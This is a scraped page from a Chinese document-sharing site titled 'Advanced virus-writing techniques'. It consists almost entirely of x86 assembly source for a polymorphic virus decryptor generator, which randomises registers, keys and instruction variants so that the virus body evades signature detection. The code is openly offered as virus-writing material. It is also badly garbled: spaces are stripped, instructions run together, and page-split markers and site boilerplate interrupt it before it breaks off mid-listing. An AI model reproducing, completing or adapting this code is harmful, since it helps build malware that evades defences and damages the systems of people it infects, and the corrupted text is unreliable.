资源描述：
《病毒的高级编写技巧》由会员上传分享，免费在线阅读，更多相关内容在工程资料-天天文库。
1、病毒的高级编写技巧～教育资源库Email:epage:.odelflat,STDCALLextrnExitProcess:procVirusSize=100h.dataDecodeMethoddd?DeCode:pushadcallEncodedb100hdup(11h)Encode:db100hdup(0cch)RndReg0dd0;eaxRndReg1dd0;ebxRndCodedd0;RndCodeRndMimadd60932561;RndPassoveax,RndMimaroreax,7movRndCode,eaxmoveax,RndCodemovecx,eaxandeax,01
2、1bmovRndReg0,eaxxorecx,RndMimaandecx,011bcmpeax,ecxjnzshortChooseRegOkincecxandecx,011bChooseRegOk:movRndReg1,ecxmovedi,offsetEncoderorRndCode,1callGetBxCode,0,RndReg0,RndCodemovesi,eaxContFillStep0:cldlodsbstosbcmpal,0cchjnzContFillStep0decedirorRndCode,1callGetBxCode,1,RndReg1,RndCodemovesi,eax
3、ContFillStep1:cldlodsbstosbcmpal,0cchjnzContFillStep1decedimovebx,edi;//计算机Jmp指令用rorRndCode,1callGetBxCode,2,RndReg0,RndCodemovesi,eaxContFillStep2:cldlodsbstosbcmpal,0cchjnzContFillStep2decedimoveax,RndMimamov[edi-4],eax;//填写随机密码moveax,RndCodeandeax,01movDecodeMethod,eax;//填写DeCode方法rorRndCode,1
4、callGetBxCode,3,RndReg0,RndCodemovesi,eaxContFillStep3:cldlodsbstosbcmpal,0cchjnzContFillStep3decedirorRndCode,1callGetBxCode,4,RndReg1,RndCodemovesi,eaxContFillStep4:cldlodsbstosbcmpal,0cchjnzContFillStep4decedirorRndCode,1callGetBxCode,5,RndReg0,RndCodemovesi,eaxContFillStep5:cldlodsbstosbcmpal
5、,0cchjnzContFillStep5decedimoval,0c3hmov[edi],al;//填写Ret指令subebx,edimov[edi-1],bl;//填写jmp指令int3;jmpDeCoderetGetBxCodeprocusesebxecxedxesiedi,Step:doveax,[esp]int3;popeaxpusheaxint3;Step0_Ebx:popebxpushebxint3;pushdovecx,[esp]int3;popecxpushecxint3;Step0_Edx:movedx,[esp]int3;movedx,espmovedx,[edx]
6、int3Step1_Eax:moveax,VirusSizeint3subeax,eaxaddax,VirusSize+3081hsubax,3081hint3Step1_Ebx:movebx,VirusSizeint3;xorebx,ebxorbx,VirusSizeint3;Step1_Ecx:subecx,ecxxorecx,(VirusSizexor3181h)xorecx,(3181h)int3;movecx,0andcx12345下一页友情提醒：，特别！,VirusSizeint3Step1_Edx:andedx,0xordx,(VirusSize-0281h)adddx,0
7、281hint3;xoredx,edxsubedx,(0181h-VirusSize)subedx,-0181hint3;Setp2_Eax:xor[eax],12345678hint3add[eax],12345678hint3Setp2_Ebx:xor[ebx],12345678hint3;add[ebx],12345678hint3;Setp2_Ecx:xor[ecx],12345678hint3;add[ecx],12345
